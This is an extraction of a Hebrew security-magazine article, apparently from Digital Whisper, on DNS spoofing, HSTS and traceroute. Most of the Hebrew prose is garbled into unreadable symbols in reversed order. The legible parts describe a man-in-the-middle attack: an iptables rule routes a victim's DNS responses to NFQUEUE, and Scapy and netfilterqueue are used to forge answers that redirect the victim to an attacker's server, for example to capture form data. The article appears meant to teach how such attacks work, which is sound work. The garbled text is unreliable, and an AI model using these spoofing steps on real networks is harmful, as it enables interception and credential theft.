 ˸˲˵˸ˬ ˢ˪˧˥˸ ˰˴˟ˮ ˣˮ˪˷ ˢˬˠˡˢˢ ˨˶ˣ˴˪MITM ˢ ˸˶˷ˣ ˭˟˶ˣ˵ˢ ˪˰-DNS ˸˞ ˫˧˶˧˩ˬ ˞˪˷ ˫˩ˬ ˣ˪˞˪ .

" ˶ˬ˞ˬˢ ˸˞ ˞ˣ˶˵˪ ˧ˣ˴˶ ,ˢ˲˵˸ˬˢ˰˴ˬ˞˟˷ ˷˧˞ˢ :˶˧˩ˢ˪ ˞ˮ ˭ˣ˧˪˧ˠ) ˶˵˟ ˪˞˧ˤ˶ ˸˞ˬ "69  ˶˞ˣ˟˲2016 ,(

 ˪ˣ˵ˣ˦ˣ˶˲˟ ˢ˷˪ˣ˥ˢ ˪˰ˣ ,ˢ˲˵˸ˬˢ ˪˰ ˶˟˯ˢ ˦˶ˣ˲ˬ ˫˷ARP  ˰ˣ˴˧˟ ˶˥˞˪ .ˢ˲˵˸ˬˢ ˸˞ ˸˶˷˲˞ˬˢ

˸˲˵˸ˬ s-MITM,  ˸˞ ˣ˥˸˲Wireshark ˢ ˸ˣ˦˵˞˲ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ .˱˵ˣ˸ˢ ˟˷˥ˬ˟-DNS  ˭˟˶ˣ˵ˢ ˪˷

 ˰˴˟˪ˣ ˢ˟ˣ˷˸ˢ ˸ˣ˦˵˞˲ ˸˞ ˶˸˞˪ ˣ˧˪˰ ˸˰˩ !˭ˢ˧˪˞ ˢ˷˧ˠ ˷˧ ˱˵ˣ˸˪ ˶ˬˣ˪˩ ,ˢ˲ˮ˯ˢˢ ˨˶ˡ ˸ˣ˶˟ˣ˰

Packet Manipulation ˢ˷˰ˮ ˣ˞ˣ˟ ,˸˞ˤ! :˧˸ˬ˧˩˯ ˭˲ˣ˞˟ ˢ˞˶ˮ ˢˤ ˨˩ 

 

https://www.digitalwhisper.co.il/files/Zines/0x45/DW69-2-TheMItM.pdf
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˶ˣ˟˰ˮ ˢ˶˴˵˟ ˪˰ ˫˧˟˪˷ˢ: 

1.  ˢˬˣ˷˶ ˸˪˟˵˪ ˢ˷˵˟ ˥˪ˣ˷ ˭˲ˡ˲ˡˢA .˭ˣ˰˦˪ ˢ˴ˣ˶ ˞ˣˢ ˣ˸ˣ˞ ˭˧˧ˬˣˡˢ ˪˷ 

2.  ˸˲˵˸ˬ ˰˴˧˟˷ ,˱˵ˣ˸ˢMITM .˸˶˷˪ ˢ˶˧˟˰ˬˣ ˢ˸˪˧˞˷ˢ ˸˞ ˪˟˵ˬ 

3. ˢ ˸˶˷-DNS .ˢ˟ˣ˷˸ ˶˧ˤ˥ˬ 

4. .ˣˬ˰˦ˬ ˧ˮˣˡˤ ˶˸˞ ˪˷ ˸˟ˣ˸˩˪ ˸ˮ˧ˣ˴ˬˢ ˸˧˶ˬˣˮˢ ˸˟ˣ˸˩ˢ ˸˞ ˢˮ˷ˬˣ ˢ˟ˣ˷˸ˢ ˸˞ ˪˟˵ˬ ˱˵ˣ˸ˢ 

5. .˭˲ˡ˲ˡ˪ ˸˲˧ˣˤˬˢ ˢ˟ˣ˷˸ˢ ˸˞ ˶˧ˤ˥ˬ ˱˵ˣ˸ˢ 

6. ˸˩ˢ ˫˰ ˶ˣ˟˧˥ˢ ˸˞ ˭˰ˣ˦ ˭˲ˡ˲ˡˢ.ˣ˪˷ ˸ˣ˶˟˥˸ˢˢ ˧˦˶˲ ˸˞ ˭˧ˤˬ ˞ˣˢ ˫˷ .˪˟˧˵ ˞ˣˢ˷ ˸˟ˣ 

7. .˱˵ˣ˸˪ ˫˧˶˟˰ˣˬ ˸ˣ˶˟˥˸ˢˢ ˧˦˶˲ 

 

˰ˣ˴˧˟ ˢ˲˵˸ˬˢ 

ˢ ˸˲˵˸ˬ ˸˞ ˣˮ˶˩ˢ˷ ˶˥˞˪-MITM ,.ˢ˸ˣ˞ ˰˴˟˪ ˢˮ˲˸ˮ ,ˢ˲˵˸ˬˢ ˪˷ ˸˧˶ˣ˞˧˸ˢ ˡ˴ˢ ˸˞ ˣˮ˟ˢˣ 

ˢ ˸˲˵˸ˬ ˰ˣ˴˧˟˪ ˧˪˩ ˟ˣ˸˩ˮ ˢˤ ˱˧˰˯˟-DNS CACHE POISONING:˫˧˞˟ˢ ˫˧˶˟ˡˢ ˫˧˷ˣ˶ˡ ˨˩ ˨˶ˣ˴˪ . 

1.  ˸˩ˬˣ˸ ˸˩˶˰ˬLinux (ˣˤ˧˞ ˢˮ˷ˬ ˩"˩ ˞˪) 

2.  ˞˯˶ˠ˟ ˷ˬ˸˷˞ ˧ˮ˞) ˭ˣ˸˧˧˲3 ˞˯˶ˠ ˫˰ ˫ˠ ˢ˧˰˟ ˫ˣ˷ ˭˧˞ ˨˞ ,2( 

3.  ˸˲˵˸ˬMITM ˢ˴˶ 

4.  ˫˧˶˟ˣ˥ˬ ˭˟˶ˣ˵ˢˣ ˫˸˞ ˢ˧˪˞ ˸˷˶˟ ˳˶ ˶˷˞ ˱˧ˣˤˬ ˶˸˞ 

 ˶˧ˡˠˢ˪ ˢ˴˶ˮ ˸˧˷˞˶˵ˣ˥iptables . iptables  ˸ˣ˩˶˰ˬ˟ ˶ˡˠˣˬˢ ˷˞ˢ ˸ˬˣ˥ ˫˰˦ˬ ˧˪˩ ˞ˣˢUnix ˞ˣˢ .

ˢ˦˧˪˷ ˶˷˲˞ˬ  ˶˷˲˞˪ ˣ˞ ˶˧˟˰ˢ˪ ,˫ˣ˯˥˪ ˭˸˧ˮ ˣ˸˶ˤ˰˟ ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˟˧˟˯ ˢ˶ˣ˟˰˸˟ˣ ˸ˣ˦˵˞˲˟

˶ˣ˷˧˵ ˶ˬ˞ˬˢ ˱ˣ˯˟ ˱˶ˣ˴ˬ .˸ˣ˦˵˞˲ ˸˶ˣ˟˰˸ ˪-Man Page ˪˷ ˪˪˩ .ˣ˸ˣ˞ ˞ˣ˶˵˪ ˳˪ˬˣˬ ,˧˪˩ˢ ˪˷ s-

iptables  ˞˶˵ˮiptables Rule. 

ˢ˴˶ˮ ,ˣˮˮ˧˧ˮ˰˪ ˢ˶ˤ˥˟ˣ  ˶˧ˡˠˢ˪Iptables Rule ˸ˣ˦˵˞˲ ˸˞ ˶˧˟˰˧˷ s-DNS ˭˟˶ˣ˵˪ ˭ˡ˰˧ ˶˷˞ ) ˫ˢ ˣ˪˞

˪ (ˢ˟ˣ˷˸ˢ ˸ˣ˦˵˞˲-netfilter ˣˮ˪˷ ).(˨˷ˬˢ˟ ˪˲˦ˮ ˣ˟ 

ˢ ˸˞ ˣ˥˸˲-Terminal :ˣ˟˸˩ˣ 

sudo iptables - I FORWARD ïd 192.168.1.243 ïp udp ï- sport 53 ïj NFQUEUE--

queue - num 1  
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:ˢˡˣ˵˲ˢ ˪˰ ˶˴˵ ˶˟˯ˢ 

¶ FORWARD -I - ˢˡ˷˟ ˢˤ ˣˮ˧˧˴ ˧˩ ˣˮ˞ ˫˧ˮ˧˧ˮˣ˰ˬ ˣ˦˵˞˲˟ ˸FORWARD ,ˣ˪˞ ˭s ˸ˣ˦˵˞˲ ˸˟ˣ˸˩˷ 

˸˩˶˰ˬˢ ˣˮ˪˷ ˞˪ ˸ˮ˧˧ˣ˴ˬ ˢ˟˭2 .˭˟ˣˬ˩ ˸ˣ˦˵˞˲˷ s-DNS ˪˷ ˭˟˶ˣ˵ˢ ˸ˣˮˣ˰ ˪˰ ˸ˣ˶ˡˠˢ ˣ˪˞. 

¶ -d - ˣˮ˞ ˫˧ˮ˧˧ˮˣ˰ˬ ˸ˣ˦˵˞˲˟ ˸˟ˣ˸˩˷ ˡ˰˧ˢ ˢ˪˷ ˭)dst (˞˧ˢ 192.168.1.243 )˸˟ˣ˸˩ ˢ˧˴˪ˣˬ˧˯˟ 

ˣˮ˪˷(. 

¶ -p udp --sport 53 - ˭˞˩ ˣˮ˞ ˫˧ˮ˧˧˴ˬ ˧˩ ˣˮ˥ˮ˞ ˫˧ˮ˧˧ˮˣ˰ˬ ˵˶ ˸ˣ˦˵˞˲˟ ˪ˣ˵ˣ˦ˣ˶˲ˬ udp  -˟source 

port ˪˷ 53 .˧˲˪ˣ ˢˬ ˣˮˡˬ˪˷ ˸˪˧˥˸˟ ˶ˬ˞ˬˢ, ˣ˪˞ ˭˟ˣˬ˩ ˸ˣ˦˵˞˲ DNS Response. 

¶ -j NFQUEUE --queue-num 1 - ˸ˣ˦˵˞˲ ˸ˣˮˣ˰ˢ ˪˰ ˫˧˞ˮ˸ˢ ˣˮ˧˧˴˷ ˫ˡˣ˵ ,ˣ˶˟˰ˣ˧ ˪ˣ˲˧˦˪ ˟-netfilter 

ˠ˲ˮˣ˵ˬˢ ˪˰ ˶˲˯ˬ 1 )˪ˣ˩˧ ˸ˣ˧ˢ˪ ˫ˠ ˶˲˯ˬ ˶˥˞ ,˵˶ ˣ˶˩ˤ ˨˷ˬˢ˟ ,˶˧ˡˠˮ˷ ˸˞ s-netfilter 

˷ˬ˸˷ˢ˪ ˣ˸ˣ˞˟ ˶˲˯ˬ ˫˸˶ˡˠˢ˷ ˭˞˩( 

 

˸ˮˬ ˪˰ ˢ ˪˩ ˸˞ ˸ˣ˞˶˪-iptables rules :ˢ˞˟ˢ ˢˡˣ˵˲ˢ ˨˞ ˣ˟˸˩ ,˫˩˪˴˞ ˫˧˶ˡˠˣˬˢ 

sudo iptables - L 

 

˸˞ ˶˧ˡˠˢ˪ ˶ˣ˟˰ˮ s-netfilter ˞˶˵ˮ˷ ˭ˣ˸˧˧˲˟ ˪ˣˡˣˬ˟ ˷ˬ˸˷ˮ .netfilterqueue ˸˲˷˟ ˟˸˩ˮ ˢˤ ˪ˣˡˣˬ .c 

 ˪˲ˬ˵˪ ˸˰ˡ˪ ˫˩˪˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˰ ˭˩˪ˣc ) ˣˮ˧˵˸ˢ ,˫˩˪ ˭˧˞ ˫˞c Compiler ˪˷ˬ˪ ,gcc( . ,˟˪ ˣˬ˧˷

 ˫˰ ˭ˣ˶˩ˮ˧˯˟ ˡ˟ˣ˰ ˢˤ ˧˪˩iptables ˫˧˪˩ˬ ˢˮˣ˷˟ ,˸ˬ˞ ˭ˬˤ˟ ˸ˣ˦˵˞˲ ˸ˣˮ˷˪ˣ ˨ˣ˶˰˪ ˫˧˪ˣ˩˧ ˣˮ˞ ˨˩ ,

 ˭ˣˠ˩ ˫˧˶˥˞Scapy. ˪ ˶ˬ˞ˬˢ ˱ˣ˯˟ ˵ˮ˧˪ ˱˶˴˞-Documentation˨˧˞ ˞ˣ˴ˬ˪ ˣ˪˩ˣ˸ ˫˷ , .ˣˮ˧˵˸ˢ˪ 

:˸ˣ˷ˣ˶ˡˢ ˸ˣ˧˶˲˯ˢ ˸˞ ˞˟˧˧ˮ ˸˧˷˞˶ 

 

 ˪˰ ˸˥˞ ˢ˶ˣ˷˟Scapy˟ ˶˟ˣˡˬ :˧ˮ˪ ˢˡ˰ˣˮ˷ ˭ˣ˸˧˧˲ ˸˧˧˶˲˯˦˶xˢ˞˧˴˧ ,  ˪˰ ˢ˶˵˟ˣ˸˷˶ ˸ˣ˪˧˟˥ ˸˧ˮ˩ˣ˸ˢ .

˸˧ˬˣ˵ˬˢ ˸˷˶˟ ˰ˡ˧ˬ ˸ˣ˪˧˟˥ ˸˶˧˴˧ˣ ˫˧˦˶ˣ˲ ˸˵˧˶˯ ,˸˷˶˟ ˢ˶ˣ˟˰˸ ˶˥˞ ˟˵˰ˬˣ ˢ˵˧˶˯ ˸ˣ˪ˣ˩˧ ˸˪˰˟. 

˪,˪˩ˢ ˫˸˞˟˧˧˷ ˶˥˞  ˸ˤˣ˶˥ˬ ˸˧ˮ˩ˣ˸˪ ˣ˦˪˵localIP˱˧˧ˣˤˬˢ ˶˸˞ˢ ˸˟ˣ˸˩ ˸˞ ˪˧˩˸˷ ,. 

                                                           
 

2
 ˸˟ˣ˸˩ ˸˩˶˰ˬˢ ˣˮ˪˷ ˞˪ ˢ˰˧˲ˣˬ ˭ˢ ˩-src ˭ˢˣ ˩-dst ,˸ˣ˦˵˞˲ ˸ˣˡ˰ˣ˧ˬˢ ˟ˣ˸˧ˮ˪ 



 
 

DNS Spoofing, HSTS, Traceroute ˢˬˣ ˫ˢ˧ˮ˧˟˷ 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ100 , ˶˟ˬ˟ˣˮ2018  115 
 

ˢ ˸˞ ˶˧ˡˠˢ˪ ˢ˴˶ˮ ˸˰˩-netfilter: 

 

 ˶ˣ˴˧ˮ ,ˢ˶˴˵˟ ˶˧˟˯ˮnetfilter  ˶˲˯ˬ" ˪˰ ˭˧ˤ˞ˢ˪ ˣ˪ ˫ˣ˶ˠˮˣ1 ˸˶ˣ˷˟ ˫ˡˣ˵ ˣˮ˶ˡˠˢ˷ ˶˲˯ˬ ˣ˸ˣ˞ ,"

 ˢ˧˴˵ˮˣ˲ˢ ˫˰ˣ ,ˢˡˣ˵˲ˢprint_and_send ˪˟˵˪ˬ ˳ˣ˥ ˭˧˧ˮ˰ˬ ˣˢ˷ˬ ˢ˷ˣ˰ ˞˪ ˞˧ˢ ˰ˠ˶˩ . ˢ˦˵˞˲ˢ ˸˞

.ˢ˟ ˫ˠ ˪˲˦ˮ ˸˰˩ ˪˟˞ ,ˢ˶˧˟˰ˢ˪ˣ   

 ˸˦˵˞˲ ˞˧ˢ ˣˮ˪˟˧˵˷ ˢ˦˵˞˲ˢ ˫˞ˢ ˵ˣˡ˟˪ ˢ˴˶ˮ ˸˧˷˞˶DNS,  ˢ˷˰ˮ ˦ˣ˷˲ˣ ˢ˟ ˫˧ˮ˧˧ˮˣ˰ˬ ˞˪ ˣˮ˞ ˞˪ ˫˞

 ˢ˪accept.  

 ˢ˧˴˵ˮˣ˲˟ ˶ˤ˰˧ˮget_payload  ˸˞ ˶ˣ˴˧ˮˣscapy_packet: 

 

 ˪ˣ˵ˣ˦ˣ˶˲ ˧˟ˠ ˪˰ ˢ˦˵˞˲ˢ ˫˞ˢ ˵ˣˡ˟ˮ ,˶ˣˬ˞˩UDP ˟-src port 53 ˸˟ˣ˷˸ ˣˮ˪ ˷˧ ˭˩ ˫˞ ,DNS:  

 

ˢ˦˵˞˲ˢ ˪˰ ˰ˡ˧ˬ ˸˴˵ ˯˧˲ˡˮ ,˸˰˩ ) ˨˞ ˧˪˞ˮˣ˧˴˲ˣ˞ ˵˪˥˧ˣ˷˰ (˧˷ˣˬ˧˷ ˸ˣ˧ˢ˪: 

 

ˢ ˸˦˵˞˲ ˸˞ ˶ˣ˴˧ˮ-DNS :ˣˮ˪˷ ˸˲˧˧ˣˤˬˢ 
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ˢ ˢˡ˷˪ ˟˪ ˣˬ˧˷-an, ) ˢ˟ˣ˷˸ ˸˦˵˞˲ ˣˮ˶ˡˠˢ ˣ˟DNSRR(,  ˷˲˧˥ ˣ˸ˣ˞˷ ˭˧˧ˬˣˡˢ ˫˷ ˸˞ ˢ˪˧˩ˬ˷

˸˞ ,˭˟˶ˣ˵ˢ s-TTL, ˢ ˢˡ˷ ˸˞ ˣˮ˶ˡˠˢ ,˱˯ˣˮ˟ .˸˧ˮ˩˸ˢ ˸˪˧˥˸˟ ˣˮ˦˪˵˷ ˢ˟ˣ˷˸ˢ ˸˟ˣ˸˩ ˸˞ˣ-id  ˪˧˩˧˷

ˢ ˶˲˯ˬ ˸˞-id  ˣ˸ˣ˞ ,˧˶ˣ˵ˬˢ ˸˶˷ˢ ˥˪˷˷id ˢ ˸˸˪˧˞˷˟ ˭˟˶ˣ˵ˢ ˥˪˷˷-DNS.  ˰ˡ˧ˬˢ ˸˞ ˯˧ˮ˩ˮ

 ˸ˡˣ˵˲ ˧ˡ˧ ˪˰ ,˸˧˶ˣ˵ˬˢ ˢ˦˵˞˲˪ ˱˧˧ˣˤˬˢset_payload: 

 

 ,˟ˠ˞˞ ˥˲˯ˮ˟ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˞˪ˬˢ ˡˣ˵ˢ ˸˞' .˶ˬ˞ˬˢ ˱ˣ˯˟  

˳˧˶ˮˣ ˶ˣˬ˷ˮ: 

 

˭˟˶ˣ˵ˢ ˸ˮˣ˩ˬˬˣ ˸˸˞ ˥˸˲ˮ  ˸˞ ˷˲˥ˮˣ ˭˲ˡ˲ˡˢ:Digital Whisper 

 

 ˢˤ ˣ˰ˠ˶˧˸ ,˸˰˩ ˢ˟ˠ ˫˧ˬ˧˶ˬ ˥˦˟ ˫˧˵˧˸ˣˢ ˣˮ˧˞˶ˣ˵ ˞˪˫˸˞ ˵˶ J ˪˷ ˸˧˟ˢ ˱ˡ ˢ˞˶ˮ ˞˪ ˸ˬ˞˟ ˨˩ ,

Digital Whisper!ˢˡ˟˰ ˢ˲˵˸ˬˢ ,˶ˬˣ˪˩ , 

,˫˧˸˧˰˪ :˟˪ ˣˬ˧˷ ˭˟˶ˣ˵ˢ ˢˮ˦˵ ˢ˶ˢˤ˞ ˪˟˵˧ ˨˯ˬˢ ˡ˴˟  ˶ˡ˰˧ˢ ˪˰ssl-certificate  ˢ˶ˢˤ˞ ,ˢˮ˧ˬˤ

˫˧˶˸˞˪ ˢ˪˧ˠ˶ ˢ˯˧ˮ˩˟ ˫ˠ ˫˧˸˧˰˪ ˫˧˪˟˵ˬ˷. 
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˲˧˧ˣˤˬˢ ˢ˟ˣ˷˸ˢ ˸˦˵˞˲ ˸˞ˣ ˭˟˶ˣ˵ˢ ˪˷ ˢ˲ˮ˯ˢˢ ˸˞ ˸ˣ˞˶˪ ˫ˠ ˭˸˧ˮ:˸ 

 

˱ˡˢ ˸˞ ˟˴˰˪ ˭˸˧ˮ˷ ˭˟ˣˬ˩ ˱˧˧ˣˤˬˢ  ˢˬ˩˟ ˧˸ˮ˩ˢ˷ ˭˦˵ ˣˢ˷ˬ ˵˶ ˢ˧ˢ ˢˤ ,˧˪˷ˬ ˰ˮ˩˷ˬ ˶˸ˣ˧ ˸˴˵ ˸ˣ˧ˢ˪

 ˸˞ ˵˧˸˰ˢ˪ ˦ˣ˷˲ ˪ˣ˩˧ ˧˸˧ˬ˞ ˱˵ˣ˸ .˷˧˥ˬˢ˪ ˧ˡ˩˟ ˸ˣ˶ˣ˷-sHTML FORM  ˶˸˞ ˶ˣ˴˧˪ˣ ˧˶ˣ˵ˬˢ ˶˸˞ˢˬ

 .ˢ˞˶ˬ˟ ˢˢˤ ˱˧˧ˣˤˬ 

 

˧ˣˢ˧ˤ ˶ˣˠ˧ˬˣ ˢ˲˵˸ˬˢ 

 ˣ˞ ˫˧˶˸˞ ˧˪˰˟ ˫˸˞ ˫˞ ?˸ˣ˷˰˪ ˭˸˧ˮ ˢˬ ,˸˰˩ ˫˩ˬ˴˰ ˸˞ ˫˧˪˞ˣ˷ ˫˸˞ ˥˦˟ ˤ˞˫˧˧˦ˮ˶˦ˮ˧˞ ˫˧˸ˣ˶˧˷ 

.˭ˣ˶˸˲ ˨˩˪ ˷˧ ,ˢ˴ˣ˥ˢ ˱ˣ˪ˡ˧ ˰ˡ˧ˬˣ ˰ˠ˲˧˸ ˫˧˷ˬ˸˷ˬˢ ˸ˣ˧˦˶˲˷ ˫˧˴ˣ˶ ˫˩ˮ˧˞ˣ ,˫˧ˬ˧˧ˣ˯ˬ 

 

HSTS 

HTTP Strict Transport Security  ˶ˣ˴˧˵˟ ˣ˞HSTS ˸ˣˬ˧˞ ˪˰ ˧˞˶˥˞ˢ ˧˦ˮ˶˦ˮ˧˞ ˸˶ˣ˷˵˸ ˪ˣ˵ˣ˦ˣ˶˲ ˞ˣˢ ,

 .˸˶˷ˢˣ ˥ˣ˵˪ˢ ˭˧˟ ˸˶ˣ˷˵˸ˢ ˳ˣ˶˰ ˪˷ ˢ˥˦˟˞ˣHSTS  ˪ˣ˵ˣ˦ˣ˶˲ ˨˶ˡ ˵˶ˣ ˨˞ ˶ˣ˟˧˥ ˥˧˶˩ˬHTTPS ˫˰ˣ ,

SSL Certificate  .˸˸ˬˣ˞ˬˣ ˢˮ˧ˬˤ 

 ˪ˣ˵ˣ˦ˣ˶˲ ˨˶ˡ ˫˩˪˷ ˶˸˞˪ ˶ˣ˟˧˥ ˢ˷˰˧˧ ˡ˧ˬ˸˷ ˥˧˦˟ˢ˪ ˧ˡ˩˟HTTPS ˸˞ ˱˧˯ˣˢ˪ ˷˧ ,Strict-Transport-

Security header ˢ ˸ˣ˟ˣ˷˸ ˪˩˪-HTTPS ˢ .˶˧ˤ˥ˬ ˸˶˷ˢ˷-header  ˞˶˵ˮ˷ ˶˦ˬ˶˲ ˭˲ˡ˲ˡ˪ ˦˶˲ˬ ˢˤˢ

max-ageˢ ˸˷˧˶ˡ ˭ˬˤ ˢˬ˩˪ ˦˶˲ˬ ˢˤ ˶˲˯ˬ ,(˸ˣ˧ˮ˷˟) ˶˲˯ˬ ˪˧˩ˬ ˶˷˞ ,-HTTPS  ˫˧˧˵ ,˱˯ˣˮ˟ .ˢ˲˵˸

 ˧˪˞ˮˣ˧˴˲ˣ˞ ˶˦ˬ˶˲ ˱˯ˣˮincludeSubDomains ˶˷˞ ˶ˬˣ˞ ˭˲ˡ˲ˡ˪ ˶˟˥˸ˢ˪ ˵˶ ˭˲ˣ˞˟ ˥˦˟ˣ˞ˬ ˶ˣ˟˰ ˪˩ 

-sSubDomains .˨˩ ˢ˞˶ˮ ˢˮ˟ˬˢ ˪˷ header ˢˤ˩: 

Strict - Transport - Security: max - age=expireTime [; includeSubdomains]  

 

https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
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˞ˬˠˣˡ˪: 

Strict - Transport - Security: max - age=3153600 ; includeSubdomains  

ˣˬ˧˷ ˟˪ ,˭˞˩ ˣˮ˶ˡˠˢ  max-age=3153600 ,˶ˬˣ˪˩ ˪˰ ˭˲ˡ˲ˡˢ ˷ˬ˸˷ˢ˪ ˟-HSTS ˨˷ˬ˪ ˢˮ˷ ˪˩˪ s-

SubDomains. 

:ˢ˟ˣ˷˥ ˢˡˣ˵ˮ ˢˬ ˫˪˰˧ ˭˲ˡ˲ˡˢ ,ˢ˥˦˟˞ ˧˪ˣ˵˧˷ˬ- Strict-Transport-Security header  ˢ˷˧ˠˢˣ ˢ˶˵ˬ˟

 ˨˶ˡ ˸˰˴˟˸ˬHTTPˢ ˸˶ˣ˟˰˸ ˸˞ ˦˶˧˧˪ ˪ˣ˩˧ ˱˵ˣ˸ ,ˢˤ˩ ˢ˶˵ˬ˟.-HTTP  ˵ˣ˥ˬ˪ ˣ˞ ˨ˣ˶˰˪ˣ ˸ˮ˲˴ˣˬ ˞˪ˢ

ˢ ˸˞-header ˨˶ˡ ˷˧ˠˮ ˶˸˞ˢ ˶˷˞˩ ˵˶ .HTTPS  ˫˰certificate ˢ ˸˞ ˡ˟˩˧˧ ˭˲ˡ˲ˡˢ ,ˢ˲˵˸-header 

 .ˢˤˢ 

˨˞ ?˶˸˞˪ ˢˮˣ˷˞˶ˢ ˫˰˲˟ ˷ˠ˧ˮ ˭˟˶ˣ˵ˢ ˫˞ ˢˬ  ˪˵˸ˮ ˞˪ ˞ˣˢ ,ˢˮˣ˷˞˶ˢ ˫˰˲˟ ˶˸˞˪ ˷ˠˮ ˭˲ˡ˲ˡˢ ˫˞

-˟header  ˞˪˪ ˱˧˧ˣˤˬ ˶˸˞ ˣ˪ ˷˧ˠˢ˪ ˪ˣ˩˧ ˱˵ˣ˸ .˭˩ ˧ˮ˲˪ ˢˤ˩HTTPS  ˣ˞Certificate ˧ˬˤ˭ ˶˟˥˸˧ ˭˲ˡ˲ˡˢ ,

.ˡˣ˟˰˸ ˢ˲˵˸ˬˢˣ ,ˣ˧˪˞ 

 ˣ˪˞˩ ˫˧˶˵ˬ˪˸ˬ˧˧˵ s-HSTS preload list ˵˶ ˣ˧˪˞ ˶˟˥˸ˢ˪ ˰ˡ˧ ˭˲ˡ˲ˡˢ ,ˢˬ˧˷˶˟ ˞˴ˬˮ ˶˸˞ˢ ˫˞ .

 ˸ˣ˰˴ˬ˞˟HTTPS,  ˫˰˲˟ ˶˸˞˪ ˷ˠ˧ˮ ˷ˬ˸˷ˬˢ ˫˞ ˫ˠ ,˨˩ .ˢˮˣ˷ ˶ˣ˟˧˥ ˸ˣ˰˴ˬ˞˟ ˶˟˥˸˧ ˞˪ ˫˪ˣ˰˪ˣ

 :˫˧ˮ˲ˡ˲ˡˢ ˟ˣ˶˟ ˸˧ˮ˟ˣˬ ˸˞ˤ ˢˬ˧˷˶ .˭ˠˣˬ ˢ˧ˢ˧ ˞ˣˢ ,ˢˮˣ˷˞˶ˢChrome, Firefox, Safari ...˫˧˟˶ ˡˣ˰ˣ 

 ˸ˬ˧˷˶ ˞ˣ˴ˬ˪ ˭˸˧ˮ ˢˬ˧˷˶˟ ˫˧˞˴ˬˮ˷ ˫˧˶˸˞ˢ ˪˩˭˞˩ ˣ˶˵˟ ,ˢˬ˧˷˶˪ ˫˩˪˷ ˶˸˞ˢ ˸˞ ˱˧˯ˣˢ˪ ˧ˡ˩˟ .

 ˶ˣ˷˧˵˟ hstspreload.org. .ˢ˷˵˟ ˣ˷˧ˠˢˣ ˸ˣ˷˧˶ˡˢ ˶˥˞ ˣ˟˵˰ 

˞ˬˠˣˡ: 

 

 ˶˸˞ˢ ˸˞ ˪˷ˬ˪ ˥˵˧ˮwww.defcon.org. ˟ ˰˧˲ˣˬ ˢˤ ˶˸˞-HSTS Preload List. 

  

https://cs.chromium.org/chromium/src/net/http/transport_security_state_static.json
file:///C:/Users/omer/Documents/hstspreload.org
http://www.defcon.org/
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˳˧˶ˢ˪ ˢ˯ˮ ˶˷˞˩ :ˢ˞˟ˢ ˢ˶ˢˤ˞ˢ ˸˞ ˭˟˶ˣ˵ˢ ˟˷˥ˬ˟ ˪˟˵ˮ ,˫ˡˣ˵ ˣˮ˟˸˩˷ ˢ˲˵˸ˬˢ ˸˞ ˣ˧˪˰ 

 

 

˧ˣˢ˧ˤ ˢ˲˵˸ˬˢ 

ˢ ˸ˣ˷˵˟˷ ˸ˣˢˤ˪ ˥˧˪˴ˮ ˫˞ ?˸ˣ˷˰˪ ˫˧˪ˣ˩˧ ˢ˴˵ˢ ˧˷ˬ˸˷ˬ ,ˣˮ˞ ˢˬ ˢ˪˞˷ˢ ˸˪˞˷ˮ ˸˰˩-DNS  ˣˮ˪˷

 ˸˞˶˵ˮ˷ ˢ˵˧ˮ˩˦˟ ˶ˤ˰˧ˮ .˫˧˧˪˞˧˴ˮ˦ˣ˲ ˫˧˲˵ˣ˸ ˧ˮ˲ˬ ˭ˮˣˠ˸ˢ˪ˣ ˸ˣˢˤ˪ ˪˩ˣˮ ,˶ˤ ˫˶ˣˠ ˨˶ˡ ˸ˣ˶˟ˣ˰

traceroute, ˢ ˸ˣ˦˵˞˲ ˪˷ ˪ˣ˪˯ˬˢ ˶˥˞ ˸ˣ˵˥˸ˢ˪ ˪˩ˣˮ ˢ˸˶ˤ˰˟-DNS  ˨˶ˡ ˸ˣ˶˟ˣ˰ ˞˪ ˫ˢ˷ ˞ˡˣˣ˪ˣ

.˫˧˲˵ˣ˸ 

ˢ ˸˵˧ˮ˩˦-traceroute  ˸˶ˤ˰ˮ˶'˴˧˲˟ ˟-Internet Protocol ˢˡ˷ ˫˧˧˵ ,˸˥˪˷ˮ˷ ˢ˦˵˞˲ ˪˩˪ .TTL  ˞˪)

ˢ ˸ˣ˦˵˞˲˟ ˫ˡˣ˵ ˣ˧˪˰ ˶˟ˣˡ˷ ˢˡ˷ ˣ˸ˣ˞-DNS ˪˴˞ ˸˶˟ˣ˰ ˢ˦˵˞˲ˢ˷ ˫˰˲ ˪˩ .˧˶˲˯ˬ ˨˶˰ ˪˧˩ˬ ˶˷˞ (

˟ ˭˦˵ ˢˤ ˨˶˰ ,ˢ˩˶ˡ˟ ˫˧˧ˣ˯ˬ ˸˶˷-1ˮˬ˪ ˸ˮˬ ˪˰ ˸˞ˤ . ˣ˪˧˟ˣ˧˷ ˸ˣ˦˵˞˲ ˪˷ ˫˧˧˲ˣ˯ˮ˧˞ ˫˧˪ˣ˪˯ˬ ˰ˣ

.˦ˮ˶˦ˮ˧˞ ˧˟˞˷ˬ ˪˷ ˤˣ˟ˤ˟ˣ ˟˶ ˪ˣ˴˧ˮ˪ 

 

]˶ˣ˧˞ 2.1 :˧˩˶˰ s-TTL ˨˧˪ˢ˸˟ ˸˥˧˪˷ ˸ˣ˦˵˞˲[ 
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ˢ ˨˶˰ˣ ˢ˧ˢ-DNS ˪ ˫˧˰˧ˠˬ ˢ˦˵˞˲ ˪˷-0˪˲˦ˬ˷ ˸˶˷ˢ , ˢ˦˵˞˲ˢ ˸˞ ˪˧˲ˬ ,˸˰ ˢ˸ˣ˞˟ ˢ˟  ˥˪ˣ˷ˣ

 ˸˦˵˞˲ICMP  ˨˶˰ ˨˪ ˢ˧ˢ ,˟ˠ˞ ˨˶ˡ" :˭ˣˮˠ˯˟ ˢˮ˩ˣ˸˷ .(˥˪ˣ˷ˢ) ˶ˣ˵ˬˢ ˸˟ˣ˸˩˪TTL  ˞ˣˢˣ ˧ˡˬ ˨ˣˬˮ

."ˢ˦˵˞˲ˢ ˸˞ ˧˸˪˲ˢ ˭˩˪ ,˯˲˞˸ˢ  ?˶˸ˣ˥ ˢˤ ˭˞˪ ˫˧ˮ˧˟ˬ 

